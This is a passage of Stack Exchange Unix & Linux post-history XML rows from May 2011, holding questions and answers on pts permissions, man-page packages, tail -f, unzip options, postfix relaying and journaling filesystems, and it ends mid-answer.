  <row Id="31150" PostHistoryTypeId="5" PostId="12640" RevisionGUID="4157402c-62f0-4613-a40c-8be2d26390e5" CreationDate="2011-05-05T20:30:55.697" UserId="6352" Comment="Corrected Gilles's name spelling. " Text="I would say that the permissions change on the device is probably caused by `grantpt`. &#xD;&#xA;&#xD;&#xA;After reading Gilles's comment about the kernel never making modifications to perms for a device after initialization, I revisited the man page for `pts` to prove him wrong (why lie?? :)  ), and was led to the man page for `ptmx`, which is the master clone device node for pseudo-terminals. It references `grantpt`, and other man pages that are relevant to this discussion. I suggest you follow the thread and read them yourself. There was also some research on the differences between `udev`, which is actually the one who does most of the work of maintaining `/dev` nowadays rather than the kernel apparently (it does take orders from the kernel), and devfs, which is an older implementation of the /dev filesystem that went the way of the dodo a while back. &#xD;&#xA;&#xD;&#xA; - `man pty` -- Gives you a description of pseudo-terminals and what processes use them. It mentions screen explicitly, not that it's terribly important.&#xD;&#xA; - `man grantpt` -- Describes the purpose and function of grantpt, which appears to be a C function most likely called by screen or its parent process once it's detached. &#xD;&#xA;&#xD;&#xA;In summary, from the man page for `grantpt`: &#xD;&#xA;&#xD;&#xA;&gt; &quot;The user ID of the slave is set to the real UID of the calling process. The group ID is set to an unspecified value (e.g., tty). The mode of the slave is set to 0620 (crw--w----).&quot;&#xD;&#xA;&#xD;&#xA;That pretty much sums up what you're seeing other than the date resetting to an earlier time. That said, the /dev filesystem is a dynamically generated filesystem according to the `udev` manpage, so that would imply that the device is dropped and then recreated from the original clone, probably by the master pts device node, ptmx. &#xD;&#xA;&#xD;&#xA;What this doesn't explain, is *which* process is the calling process and why is it running as root ?? &#xD;&#xA;Why does yours not correct the date value, while new pts's on my system show up with the current date/time ?? &#xD;&#xA;For that matter, why can't I reproduce what you're seeing ?? I downloaded `node.js` and installed it, and also downloaded the sample chat javascript app, ran screen, started `node chat.js`, detached, and ... no perms change on the child process. &#xD;&#xA;&#xD;&#xA;Perhaps screen is SUID on your machine ?? &#xD;&#xA;Perhaps you're using devfs, instead of udev ?? &#xD;&#xA;&#xD;&#xA;There is also the distinct possibility that the VPS implementation you're using has something to do with this behavior. For example, I can't perform a dist-upgrade on my VPS, since the system they utilize only allows for one kernel version, the one they've hacked and put in place. The kind of restrictions that prevent you from updating your own kernel could also impact the functionality of other sub-systems. That's just speculation though, but it would make sense. &#xD;&#xA;&#xD;&#xA;I realize none of this explicitly answers your question. I think it's a step in the right direction though, so perhaps it'll help someone else find the full answer for you. " />
  <row Id="31151" PostHistoryTypeId="2" PostId="12687" RevisionGUID="9f38aa0d-7094-40ab-92ca-6bfebefe65a2" CreationDate="2011-05-05T20:34:31.517" UserId="1925" Text="You can flatted the entire contents of the zip file using `cd /yours &amp;&amp; unzip -j /path/to/mine.zip`. The `-j` option is called &quot;junk paths&quot; and just dumps each file into the current directory instead of extracting any directory structure.&#xD;&#xA;&#xD;&#xA;To be more exactly than that, i.e. extracting directory structures except for the top one, you will need to know the name of the folder inside the zip that you want to skip creating and specifically ask `unzip` to extract the contents of that folder.&#xD;&#xA;&#xD;&#xA;Unfortunately `unzip` is not a flexable as `tar` with it's various strip folder path options that it can handle for gzip, bzip2, lzip and other compression formats." />
  <row Id="31152" PostHistoryTypeId="2" PostId="12688" RevisionGUID="d67c8cd5-dee2-4d42-8bdd-3554aae91fc2" CreationDate="2011-05-05T20:35:36.143" UserId="557" Text="How do I install them? At present, `man fopen` gives me `No manual entry for fopen`. I have the compilers installed and have verified that things do build without problems." />
  <row Id="31153" PostHistoryTypeId="1" PostId="12688" RevisionGUID="d67c8cd5-dee2-4d42-8bdd-3554aae91fc2" CreationDate="2011-05-05T20:35:36.143" UserId="557" Text="Man pages for standard C and C++ libraries on Fedora 14" />
  <row Id="31154" PostHistoryTypeId="3" PostId="12688" RevisionGUID="d67c8cd5-dee2-4d42-8bdd-3554aae91fc2" CreationDate="2011-05-05T20:35:36.143" UserId="557" Text="éfedoraàémanàécàégccàécççà" />
  <row Id="31155" PostHistoryTypeId="25" PostId="12686" RevisionGUID="37e0250f-d057-4967-b5da-1d5765146bfd" CreationDate="2011-05-05T21:11:27.893" Comment="http://twitter.com/#!/StackUnix/status/66248667761356800" />
  <row Id="31158" PostHistoryTypeId="2" PostId="12690" RevisionGUID="e626f1ca-8f4b-4b51-8f6c-61fee6e41d49" CreationDate="2011-05-05T21:29:37.610" UserId="6167" Text="Try this:&#xD;&#xA;&#xD;&#xA;    yum install man-pages&#xD;&#xA;" />
  <row Id="31159" PostHistoryTypeId="2" PostId="12691" RevisionGUID="b9083364-7735-4d6b-ab80-58f6e2f6cdf5" CreationDate="2011-05-05T21:38:49.903" UserId="885" Text="`yum provides fopen.3` will tell you what package is available that contains a file called `fopen.3` .&#xD;&#xA;" />
  <row Id="31160" PostHistoryTypeId="6" PostId="12688" RevisionGUID="50a934b6-3abf-42a9-8353-1d875d87baf6" CreationDate="2011-05-05T21:39:17.673" UserId="885" Comment="edited tags" Text="éfedoraàépackageömanagementàémanàécà" />
  <row Id="31161" PostHistoryTypeId="2" PostId="12692" RevisionGUID="bfb6738d-8bc6-4f5d-9e19-abb907f5784b" CreationDate="2011-05-05T22:05:31.503" UserId="3125" Text="Right now I'm essentially executing `tail /var/log/syslog` manually every once in a while. Is there something that lets me see what's being added continuously, or do I need to write something myself?" />
  <row Id="31162" PostHistoryTypeId="1" PostId="12692" RevisionGUID="bfb6738d-8bc6-4f5d-9e19-abb907f5784b" CreationDate="2011-05-05T22:05:31.503" UserId="3125" Text="What's a convenient way of checking what's being added to a log file in realtime?" />
  <row Id="31163" PostHistoryTypeId="3" PostId="12692" RevisionGUID="bfb6738d-8bc6-4f5d-9e19-abb907f5784b" CreationDate="2011-05-05T22:05:31.503" UserId="3125" Text="élogsà" />
  <row Id="31164" PostHistoryTypeId="2" PostId="12693" RevisionGUID="f6d4e0dc-ef34-4b98-a7c3-6d9288c9de5d" CreationDate="2011-05-05T22:08:07.323" UserId="7136" Text="I believe your looking for the -f switch. It will continue to follow the the log file as it changes.&#xD;&#xA;&#xD;&#xA;    tail -f /var/log/syslog&#xD;&#xA;&#xD;&#xA;you can vary the number of lines that are outputed using the -n switch as well:&#xD;&#xA;&#xD;&#xA;    tail -f -n 20 /var/log/syslog&#xD;&#xA;&#xD;&#xA;see [man tail][1] for more information.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ss64.com/bash/tail.html" />
  <row Id="31165" PostHistoryTypeId="5" PostId="12693" RevisionGUID="d3ab2dbc-d9b8-4aeb-840a-22c2ad6fdf1c" CreationDate="2011-05-05T22:37:05.840" UserId="2421" Comment="fixed grammar" Text="I believe you're looking for the `-f` switch. It will continue to follow the the log file as it changes.&#xD;&#xA;&#xD;&#xA;    tail -f /var/log/syslog&#xD;&#xA;&#xD;&#xA;You can vary the number of lines that are output using the `-n` switch as well:&#xD;&#xA;&#xD;&#xA;    tail -f -n 20 /var/log/syslog&#xD;&#xA;&#xD;&#xA;See [man tail][1] for more information.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ss64.com/bash/tail.html" />
  <row Id="31166" PostHistoryTypeId="5" PostId="12640" RevisionGUID="11ffaf1d-e978-4b36-9a8b-544e761f6bcb" CreationDate="2011-05-05T22:39:58.550" UserId="6352" Comment="Syntactical changes. " Text="Your system, once `screen` detaches, destroys the `pts`, and for some reason recreates it, if I understand correctly how `udev` is handling things on your system. &#xD;&#xA;&#xD;&#xA;`udev` is the subsystem that controls the creation and destruction of devices in /dev, which is a dynamically generated filesystem. `pts` creation/destruction is handled by `ptmx`, which is used to create pseudo-terminal master/slave pairs. `pts/*` is the slave of the respective `PTM`, or pseudo-terminal master. As such, any permissions modifications that you see are a direct result of the destruction and creation of said device nodes, rather than *modification*. As for the date of the file, since the device nodes are clones, it's likely that the original used to create these nodes had a creation date of the time that you see in your `ls` output. &#xD;&#xA;&#xD;&#xA; - `man ptmx` -- Describes how ptmx creates new pts pseudo terminal device nodes. &#xD;&#xA;&#xD;&#xA;What I don't understand is why there is a difference between how your system behaves versus how mine behaves with regard to `/dev/pts/`*. I do not experience perceived perms changes to devices; They either disappear entirely which is as it should be, or the perms do not change regardless of my actions (e.g., detaching screen, the device stays, and does not get destroyed/recreated.). Not only that, but the dates associated with my newly created `pts/*` devices are the current date. &#xD;&#xA;&#xD;&#xA;One possibility is that the VPS you're using has something to do with this behavior. For example, I can't perform a dist-upgrade on my VPS, since the system they utilize only allows for one kernel version, the one they've hacked and put in place. The kind of restrictions that prevent you from updating your own kernel could also impact the functionality of other sub-systems. That's just speculation though, but it would make sense. &#xD;&#xA;&#xD;&#xA;It could also just be a difference in how udev is configured. &#xD;&#xA;&#xD;&#xA;Revision 3, with a lot of help from Gilles. ;)&#xD;&#xA;" />
  <row Id="31167" PostHistoryTypeId="6" PostId="12692" RevisionGUID="4641cedc-2605-4ac1-9968-54d3adb066bf" CreationDate="2011-05-05T22:42:31.790" UserId="885" Comment="edited tags" Text="élogsàétailà" />
  <row Id="31168" PostHistoryTypeId="2" PostId="12694" RevisionGUID="2acaa03b-cb95-4d77-8bbe-99ed6c7ad595" CreationDate="2011-05-05T22:54:29.187" UserId="6309" Text="I've got auto-completion working for bash. When I type part of a program name, and then TAB, I get the full command. Works like expected, no complaints.&#xD;&#xA;&#xD;&#xA;However on my setup I've got an alias defined called `flexo` (which logs me in to a machine with the same name). When I type &lt;code&gt;fle&lt;/code&gt;&lt;kbd&gt;TAB&lt;/kbd&gt; I only get `flex`, because that's a perfectly valid program on the machine. How do I instruct complete to ignore this specific completion? In other words I want &lt;code&gt;fle&lt;/code&gt;&lt;kbd&gt;TAB&lt;/kbd&gt; to complete to `flexo` and ignore `flex` completely. Thanks.&#xD;&#xA;" />
  <row Id="31169" PostHistoryTypeId="1" PostId="12694" RevisionGUID="2acaa03b-cb95-4d77-8bbe-99ed6c7ad595" CreationDate="2011-05-05T22:54:29.187" UserId="6309" Text="How to have autocomplete ignore a specific completion" />
  <row Id="31170" PostHistoryTypeId="3" PostId="12694" RevisionGUID="2acaa03b-cb95-4d77-8bbe-99ed6c7ad595" CreationDate="2011-05-05T22:54:29.187" UserId="6309" Text="ébashàéautocompleteà" />
  <row Id="31171" PostHistoryTypeId="2" PostId="12695" RevisionGUID="4221aa6b-5f6c-4a7f-acb8-40614337fcd8" CreationDate="2011-05-05T23:01:49.317" UserId="885" Text="On Debian and other systems using dpkg, `sort -u /var/lib/dpkg/info` will give you a list of all the files provided by a package. A comparison with the list of files actually present on the system reveals a large number of files that aren't provided by any package. This list is from a quick glance at one Debian squeeze machine and is by no means exhaustive.&#xD;&#xA;&#xD;&#xA;* The obvious suspects: `/etc`, `/usr/local`, `/opt`, `/var`, `/home`, `/srv`, mount points of all kinds.&#xD;&#xA;* A number of symbolic links that are created by package installation scripts. Often this is because the file used to be in a package and has now been replaced by an alternative: first the new package is unpacked, then the old package it replaces is removed, and finally the new package's postinst script creates the link.&#xD;&#xA;* A few uses of [`dpkg-divert`](http://www.debian-administration.org/articles/118).&#xD;&#xA;* In `/boot`, `initrd-*` (automatically regenerated from the installed kernel and extra modules), and bootloader files (`/boot/grub/*`).&#xD;&#xA;* In `/lib/modules/*`, module dependency files and symbol maps, and [automatically-compiled modules (from dkms)](http://en.wikipedia.org/wiki/Dynamic_Kernel_Module_Support).&#xD;&#xA;* Various non-redistribuable content that is downloaded from its only authorized source when you install the package. Most of it is documentation, there are also a few fonts.&#xD;&#xA;* X11 font incides in `/usr/X11R6/lib/X11/fonts`.&#xD;&#xA;* CUPS backends copied from `/usr/lib/cups/backend-available/` to `/usr/lib/cups/backend/http/`.&#xD;&#xA;* Various files that are compiled on installation: `*.pyc` (Python), `*.elc` (Emacs), `*.dll` (Mono), …&#xD;&#xA;* Generated documentation indices in `/usr/share/doc/HTML` (from [dhelp](http://www.fifi.org/doc/dhelp/dhelp.html)).&#xD;&#xA;&#xD;&#xA;If you want to account for every file, you'll have to track their history. To put it another way, to pass an audit, you can't just show the files you have, it's also up to you as the audited to show proof of validity for each file.&#xD;&#xA;&#xD;&#xA;The classical approach is to use a tool like [tripwire](http://www.tripwire.org/), which alerts you when a file changes. If you're after something more powerful, that lets you keep track of changes, this is exactly *version control*. Debian provides turnkey version control for `/etc` via [etckeeper](http://kitenet.net/~joey/code/etckeeper/). It's not part of the default installation (unfortunately). Install the package, select your favorite version control system in `/etc/etckeeper/etckeeper.conf`, and run `etckeeper init`. All changes under `/etc` will be committed automatically every night and before and after running `apt-get` or other APT front-ends; you can disable these auto-commits to force the administrator to run `etckeeper commit` manually (and enter a log message).&#xD;&#xA;" />
  <row Id="31172" PostHistoryTypeId="2" PostId="12696" RevisionGUID="3bed15a6-a831-458f-9655-2251fa98e022" CreationDate="2011-05-05T23:21:51.780" UserId="7255" Text="Enabling wake up on a bus does not equate with giving that bus full power while in suspend. It just means that the system will listen for the wakeup signal on the lines that correspond to that device. Standby power is provided by the appropriate bus, but this power is much less than the full power for normal operation. Adding a PCI/PCIe USB card may or may not allow for wake-on-USB, but it definitely won't provide full power to the USB ports while the machine is in S3. Instead, it will provide just enough to keep the chipset running, about 200mA @ 3.3V from what I gather from [this page][1] from Intel about its network adapters.&#xD;&#xA;&#xD;&#xA;I think this is a feature that going to be specific to a motherboard and only controllable through the BIOS. I have a Thinkpad and a Gigabyte motherboard that allow for powering USB devices while the machine is not awake, and in both cases it's a setting in the BIOS rather than something you can change while the system is fully booted. Come to think of it, there might be a way for the Thinkpad to configure that while running, but Thinkpads are known for having special ACPI extensions for managing power options. Regardless, for both systems it's an all-or-nothing proposition - there's no option for per-port or per-device configuration. I'm fairly certain full power USB in suspend is something that is not standard across PCs, and as such, there's no portable way to check if it's available.&#xD;&#xA;&#xD;&#xA;Although it's extra hardware, I think the simplest, most universal solution is to just use a powered hub.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.intel.com/support/network/adapter/pro100/sb/cs-008438.htm" />
  <row Id="31173" PostHistoryTypeId="2" PostId="12697" RevisionGUID="fe6b2933-0a68-4b49-9e0e-cfcd09745d34" CreationDate="2011-05-05T23:45:43.563" UserId="36" Text="Configure postfix on the php host to act as a relay to the &quot;good&quot; server.&#xD;&#xA;&#xD;&#xA;in /etc/postfix/main.cf (on the php host)&#xD;&#xA;&#xD;&#xA;    relayhost = goodmailserver.com&#xD;&#xA;&#xD;&#xA;and do a &quot;postfix reload&quot;&#xD;&#xA;&#xD;&#xA;Also ensure goodmailserver.com is configured to accept mail from your php host&#xD;&#xA;" />
  <row Id="31174" PostHistoryTypeId="25" PostId="12692" RevisionGUID="e6115f66-1ffc-4e24-84ef-4f177b172e94" CreationDate="2011-05-06T00:11:27.810" Comment="http://twitter.com/#!/StackUnix/status/66293966269710337" />
  <row Id="31175" PostHistoryTypeId="2" PostId="12698" RevisionGUID="883c05a7-cd17-4867-b7f1-c7133fb64024" CreationDate="2011-05-06T00:58:10.890" UserId="7261" Text="I would recommend Ubuntu as it tends to have the latest software and drivers. The latest version (11.04) supports multitouch out of the box (&lt;https://wiki.ubuntu.com/Multitouch/GettingStarted/Natty&gt;), but whether that includes the 1090 will depend on what multitouch device it has (&lt;https://wiki.ubuntu.com/Multitouch/HardwareSupport&gt;)." />
  <row Id="31176" PostHistoryTypeId="2" PostId="12699" RevisionGUID="65b085e9-4679-4075-af13-787c297953db" CreationDate="2011-05-06T01:50:10.943" UserId="1049" Text="I am asking this question on behalf of [another user who raised the issue](http://chat.stackexchange.com/rooms/201/conversation/journaling-question) in the Ubuntu chat room.&#xD;&#xA;&#xD;&#xA;Do journaling filesystems guarantee that no corruption will occur if a power failure occurs?&#xD;&#xA;&#xD;&#xA;If this answer depends on the filesystem, please indicate which ones do protect against corruption and which ones don't." />
  <row Id="31177" PostHistoryTypeId="1" PostId="12699" RevisionGUID="65b085e9-4679-4075-af13-787c297953db" CreationDate="2011-05-06T01:50:10.943" UserId="1049" Text="Do journaling filesystems guarantee against corruption after a power failure?" />
  <row Id="31178" PostHistoryTypeId="3" PostId="12699" RevisionGUID="65b085e9-4679-4075-af13-787c297953db" CreationDate="2011-05-06T01:50:10.943" UserId="1049" Text="éfilesystemsàéjournalingàécorruptionà" />
  <row Id="31179" PostHistoryTypeId="2" PostId="12700" RevisionGUID="c36064b2-d8cb-4133-bbbb-e4d3bf8d83cf" CreationDate="2011-05-06T02:51:27.227" UserId="5535" Text="There are no guarantees. A Journaling File System is more resilient and is less prone to corruption, but not immune." />
  <row Id="31180" PostHistoryTypeId="25" PostId="12694" RevisionGUID="07cfd92a-574e-4df0-8723-b2ea229a95f7" CreationDate="2011-05-06T03:11:27.663" Comment="http://twitter.com/#!/StackUnix/status/66339264786464768" />
  <row Id="31181" PostHistoryTypeId="5" PostId="12700" RevisionGUID="3a96e567-ecc5-49d9-8c7f-c644c9c10888" CreationDate="2011-05-06T03:20:36.810" UserId="5535" Comment="added 1325 characters in body; added 28 characters in body" Text="There are no guarantees. A Journaling File System is more resilient and is less prone to corruption, but not immune.&#xD;&#xA;&#xD;&#xA;All a journal is is a list of operations which have recently been done to the file system. The crucial part is that the journal entry is made _before_ the operations take place. Most operations have multiple steps. Deleting a file, for example might entail deleting the file's entry in the file system's table of contents and then marking the sectors on the drive as free. If something happens between the two steps, a journaled file system can tell immediately and perform the necessary clean up to keep everything consistent. This is not the case with a non-journaled file system which has to look at the entire contents of the partition to find errors.&#xD;&#xA;&#xD;&#xA;While this journaling is much less prone to corruption than not journaling, corruption can still occur. For example, if the hard drive is mechanically malfunctioning or if writes to the journal itself are failing or interrupted. &#xD;&#xA;&#xD;&#xA;The basic premise of journaling is that writing a journal entry is much quicker, usually, than the actual transaction it describes will be. So, the period between the OS ordering a (journal) write and the hard drive fulfilling it is much shorter than for a normal write: a narrower window for things to go wrong in, but there's still a window.&#xD;&#xA;&#xD;&#xA;[Further reading][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ibm.com/developerworks/library/l-journaling-filesystems/index.html" />
  <row Id="31182" PostHistoryTypeId="2" PostId="12701" RevisionGUID="c735266a-04c1-40da-8040-adcbc04ad98b" CreationDate="2011-05-06T03:26:11.007" UserId="1078" Text="A filesystem cannot guarantee the consistency of its filesystem if a power failure occurs, because it does not know what the hardware will do.&#xD;&#xA;&#xD;&#xA;If a hard drive buffers data for write but tells the OS that it has written the data and does not support the appropriate write barriers, then out-of-order writes can occur where an earlier write has not hit the platter, but a later one has. See [this serverfault answer][1] for more details.&#xD;&#xA;&#xD;&#xA;Also, the position of the head on a magnetic HDD is controlled with electro-magnets. If power fails in the middle of a write, it is possible for some data to continue to be written while the heads move, corrupting data on blocks that the filesystem never intended to be written.&#xD;&#xA;&#xD;&#xA;Finally, in the real world, corruption can occur since reality is not perfect. Stray cosmic rays can affect components in unpredictable ways. This may sound outlandish, but when working at Google-scale, for instance, you've got a lot of disks and the chance of a bit flipping becomes almost a certainty.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/questions/15404/sata-disks-that-handle-write-caching-properly/15539#15539" />
  <row Id="31183" PostHistoryTypeId="5" PostId="12701" RevisionGUID="6a03cde0-69ac-4c31-a361-f2b70b92fffa" CreationDate="2011-05-06T03:32:01.487" UserId="1078" Comment="removed non-power related cause of corruption" Text="A filesystem cannot guarantee the consistency of its filesystem if a power failure occurs, because it does not know what the hardware will do.&#xD;&#xA;&#xD;&#xA;If a hard drive buffers data for write but tells the OS that it has written the data and does not support the appropriate write barriers, then out-of-order writes can occur where an earlier write has not hit the platter, but a later one has. See [this serverfault answer][1] for more details.&#xD;&#xA;&#xD;&#xA;Also, the position of the head on a magnetic HDD is controlled with electro-magnets. If power fails in the middle of a write, it is possible for some data to continue to be written while the heads move, corrupting data on blocks that the filesystem never intended to be written.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/questions/15404/sata-disks-that-handle-write-caching-properly/15539#15539" />
  <row Id="31184" PostHistoryTypeId="2" PostId="12702" RevisionGUID="be5a0471-912a-403a-9f95-ce9928198a70" CreationDate="2011-05-06T04:12:53.360" UserId="5762" Text="I found http://unix.stackexchange.com/questions/3586/what-do-the-numbers-in-a-man-page-mean which explains the sections for command/library documentation quite nicely, and I was looking at the output for `man regex` and noticed the See Also referred to `regex(3)`.&#xD;&#xA;&#xD;&#xA;I tried to run `man 3 regex`, but got the following message:&#xD;&#xA;&#xD;&#xA;    No manual page for regex in section 3&#xD;&#xA;&#xD;&#xA;My question is - where is it?&#xD;&#xA;&#xD;&#xA;This is on Ubuntu 10.04 if that makes a difference." />
  <row Id="31185" PostHistoryTypeId="1" PostId="12702" RevisionGUID="be5a0471-912a-403a-9f95-ce9928198a70" CreationDate="2011-05-06T04:12:53.360" UserId="5762" Text="No manual page for regex in section 3 - where is it?" />
  <row Id="31186" PostHistoryTypeId="3" PostId="12702" RevisionGUID="be5a0471-912a-403a-9f95-ce9928198a70" CreationDate="2011-05-06T04:12:53.360" UserId="5762" Text="écommandölineàémanà" />
  <row Id="31187" PostHistoryTypeId="2" PostId="12703" RevisionGUID="93cbf505-1ea6-45f4-81ae-a8414727ea27" CreationDate="2011-05-06T05:00:24.523" UserId="5884" Text="For example in KDE4 you run System Settings, and in Display settings you select to extend monitor (and also at which side -- left or right -- you would like to &quot;place&quot; the second monitor). 100% straightforward." />
  <row Id="31188" PostHistoryTypeId="2" PostId="12704" RevisionGUID="464720ee-693b-4862-9651-471591c12695" CreationDate="2011-05-06T05:01:43.010" UserId="6851" Text="On my gentoo system `man regex` only gives me the section 3 (POSIX syscall) man page.  (What manual section did *your* `man regex` retrieve it's man page? Just curious.)&#xD;&#xA;&#xD;&#xA;Running a `equery belongs /usr/include/regex.h` on my system reveals that that header file is part of the `sys-libs/glibc` package.  Similarly, by running the command `equery belongs /usr/share/man/man3/regex.3.bz3` I found out that the man page for the `regex.h` file is provided by the package `sys-apps/man-pages`.&#xD;&#xA;&#xD;&#xA;Now, I imagine Gentoo and Ubuntu might have different ways of organizing their manfiles, but I think it is worth a shot for you to check if you got some man-page related package not installed on your host.  I take for granted that your machine has Ubuntu's `glibc` package installed (otherwise I would find it hard to believe that your system even boots up), you should have the file `/usr/include/regex.h` available on your system (unless Ubuntu has decided to have it elsewhere, like `/usr/local/include/regex.h`).&#xD;&#xA;" />
  <row Id="31189" PostHistoryTypeId="2" PostId="12705" RevisionGUID="7eb6f5a2-b77a-4244-b297-41a0721e6707" CreationDate="2011-05-06T05:03:32.503" UserId="6761" Text="&gt; REGEX(3) &#xD;&#xA;&gt; &#xD;&#xA;&gt; NAME &#xD;&#xA;&gt; regcomp, regexec, regerror, regfree - POSIX regex functions&#xD;&#xA;&#xD;&#xA;Works fine here on Arch Linux and also on the &lt;a href=&quot;http://linux.die.net/man/3/regex&quot;&gt;Internet&lt;/a&gt;...&#xD;&#xA;&#xD;&#xA;You might need to (re)install them:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install manpages manpages-dev manpages-posix manpages-posix-dev&lt;/code&gt;&lt;/pre&gt;" />
  <row Id="31190" PostHistoryTypeId="2" PostId="12706" RevisionGUID="a08cf796-0c91-4a69-9e27-667a3fbddbfc" CreationDate="2011-05-06T05:12:41.847" UserId="6988" Text="In Ubuntu this man page belongs to `manpages-dev` package." />
  <row Id="31191" PostHistoryTypeId="2" PostId="12707" RevisionGUID="5ab7eb75-2f3f-42c2-a381-366d1f01a055" CreationDate="2011-05-06T05:13:32.763" UserId="3169" Text="You need to install the `manpages-dev` package:&#xD;&#xA;&#xD;&#xA;    $ dpkg -S /usr/share/man/man7/regex.7.gz&#xD;&#xA;    manpages: /usr/share/man/man7/regex.7.gz&#xD;&#xA;&#xD;&#xA;    $ dpkg -S /usr/share/man/man3/regex.3.gz&#xD;&#xA;    manpages-dev: /usr/share/man/man3/regex.3.gz&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31192" PostHistoryTypeId="2" PostId="12708" RevisionGUID="4225c403-01f1-40d6-b2fa-699afbc65e70" CreationDate="2011-05-06T05:18:42.323" UserId="6988" Text="What is's means already described, but I also wants to add that each section has special manual page with introduction: `intro`. For example, see `man 1 intro` or `man 3 intro` and so on." />
  <row Id="31193" PostHistoryTypeId="5" PostId="12707" RevisionGUID="ef912ffd-98e2-42f7-b296-87af5cdfd884" CreationDate="2011-05-06T05:24:51.973" UserId="3169" Comment="mention apt-file" Text="You need to install the `manpages-dev` package:&#xD;&#xA;&#xD;&#xA;    $ dpkg -S /usr/share/man/man7/regex.7.gz&#xD;&#xA;    manpages: /usr/share/man/man7/regex.7.gz&#xD;&#xA;&#xD;&#xA;    $ dpkg -S /usr/share/man/man3/regex.3.gz&#xD;&#xA;    manpages-dev: /usr/share/man/man3/regex.3.gz&#xD;&#xA;&#xD;&#xA;Practically all the man pages in sections 2 and 3 come from the `manpages-dev` package.&#xD;&#xA;&#xD;&#xA;I guess this is because they take up about 20 MB, and some users don't need them.&#xD;&#xA;&#xD;&#xA;(There are also some man pages provided by the various `*-dev` packages and programming language specific packages, e.g. `*-perl`.)&#xD;&#xA;&#xD;&#xA;If ever you can't find a file, but you know part of its name, `apt-file` can help:&#xD;&#xA;&#xD;&#xA;    $ apt-file search regex.3.gz&#xD;&#xA;    ...&#xD;&#xA;    manpages-dev: /usr/share/man/man3/regex.3.gz&#xD;&#xA;    ...&#xD;&#xA;" />
  <row Id="31194" PostHistoryTypeId="6" PostId="12702" RevisionGUID="5ff7d042-2ccc-4fd6-91ff-a1e8b763f71a" CreationDate="2011-05-06T05:27:30.603" UserId="3169" Comment="add ubuntu and debian tags (debian because I think the -dev convention comes from debian)" Text="éubuntuàécommandölineàédebianàémanà" />
  <row Id="31195" PostHistoryTypeId="2" PostId="12709" RevisionGUID="92ab3c53-8c03-4afc-94b7-eed360cb870c" CreationDate="2011-05-06T06:03:53.423" UserId="3169" Text="No.&#xD;&#xA;&#xD;&#xA;The most common type of journaling, called metadata journaling, only protects the integrity of the file system, not of data.&#xD;&#xA;&#xD;&#xA;This includes `xfs`, and `ext3`/`ext4` in the default `data=ordered` mode.&#xD;&#xA;&#xD;&#xA;If a non-journaling file system suffers a crash, it will be checked using `fsck` on the next boot.&#xD;&#xA;&#xD;&#xA;`fsck` scans every inode on the file system, looking for blocks that are marked as used but are not reachable (i.e. have no file name), and marks those blocks as unused.  Doing this takes a long time.&#xD;&#xA;&#xD;&#xA;With a journaling file system, instead of doing an `fsck`, it knows which blocks it was in the middle of changing, so it can mark them as free without searching the whole partition for them.&#xD;&#xA;&#xD;&#xA;There is a less common type of journaling, called data journaling, which is what `ext3` does if you mount it with the `data=journal` option.&#xD;&#xA;&#xD;&#xA;It attempts to protect all your data by writing not just a list of logical operations, but also the entire contents of each write to the journal.&#xD;&#xA;&#xD;&#xA;Because it's writing your data twice, it can be much slower.&#xD;&#xA;&#xD;&#xA;For more information, take a look at the [Wikipedia Journaling File System article](http://en.wikipedia.org/wiki/Journaling_file_system)." />
  <row Id="31196" PostHistoryTypeId="5" PostId="12709" RevisionGUID="b7d2666f-3f3e-41ef-afa1-232df06c81ee" CreationDate="2011-05-06T06:09:08.443" UserId="3169" Comment="added 116 characters in body" Text="No.&#xD;&#xA;&#xD;&#xA;The most common type of journaling, called metadata journaling, only protects the integrity of the file system, not of data.&#xD;&#xA;&#xD;&#xA;This includes `xfs`, and `ext3`/`ext4` in the default `data=ordered` mode.&#xD;&#xA;&#xD;&#xA;If a non-journaling file system suffers a crash, it will be checked using `fsck` on the next boot.&#xD;&#xA;&#xD;&#xA;`fsck` scans every inode on the file system, looking for blocks that are marked as used but are not reachable (i.e. have no file name), and marks those blocks as unused.  Doing this takes a long time.&#xD;&#xA;&#xD;&#xA;With a journaling file system, instead of doing an `fsck`, it knows which blocks it was in the middle of changing, so it can mark them as free without searching the whole partition for them.&#xD;&#xA;&#xD;&#xA;There is a less common type of journaling, called data journaling, which is what `ext3` does if you mount it with the `data=journal` option.&#xD;&#xA;&#xD;&#xA;It attempts to protect all your data by writing not just a list of logical operations, but also the entire contents of each write to the journal.&#xD;&#xA;&#xD;&#xA;Because it's writing your data twice, it can be much slower.&#xD;&#xA;&#xD;&#xA;For more information, take a look at the [Wikipedia Journaling File System article](http://en.wikipedia.org/wiki/Journaling_file_system) and the Data Mode section of the [ext4 documentation](http://www.kernel.org/doc/Documentation/filesystems/ext4.txt)." />
  <row Id="31197" PostHistoryTypeId="25" PostId="12702" RevisionGUID="cb018dd2-7190-4707-a845-3d6bd5069d69" CreationDate="2011-05-06T06:11:27.547" Comment="http://twitter.com/#!/StackUnix/status/66384561814249472" />
  <row Id="31198" PostHistoryTypeId="5" PostId="12709" RevisionGUID="dff052ac-740c-42fc-b918-90572b3c9076" CreationDate="2011-05-06T06:15:56.173" UserId="3169" Comment="added 7 characters in body" Text="No.&#xD;&#xA;&#xD;&#xA;The most common type of journaling, called metadata journaling, only protects the integrity of the file system, not of data.  This includes `xfs`, and `ext3`/`ext4` in the default `data=ordered` mode.&#xD;&#xA;&#xD;&#xA;If a non-journaling file system suffers a crash, it will be checked using `fsck` on the next boot.  `fsck` scans every inode on the file system, looking for blocks that are marked as used but are not reachable (i.e. have no file name), and marks those blocks as unused.  Doing this takes a long time.&#xD;&#xA;&#xD;&#xA;With a metadata journaling file system, instead of doing an `fsck`, it knows which blocks it was in the middle of changing, so it can mark them as free without searching the whole partition for them.&#xD;&#xA;&#xD;&#xA;There is a less common type of journaling, called data journaling, which is what `ext3` does if you mount it with the `data=journal` option.&#xD;&#xA;&#xD;&#xA;It attempts to protect all your data by writing not just a list of logical operations, but also the entire contents of each write to the journal.  But because it's writing your data twice, 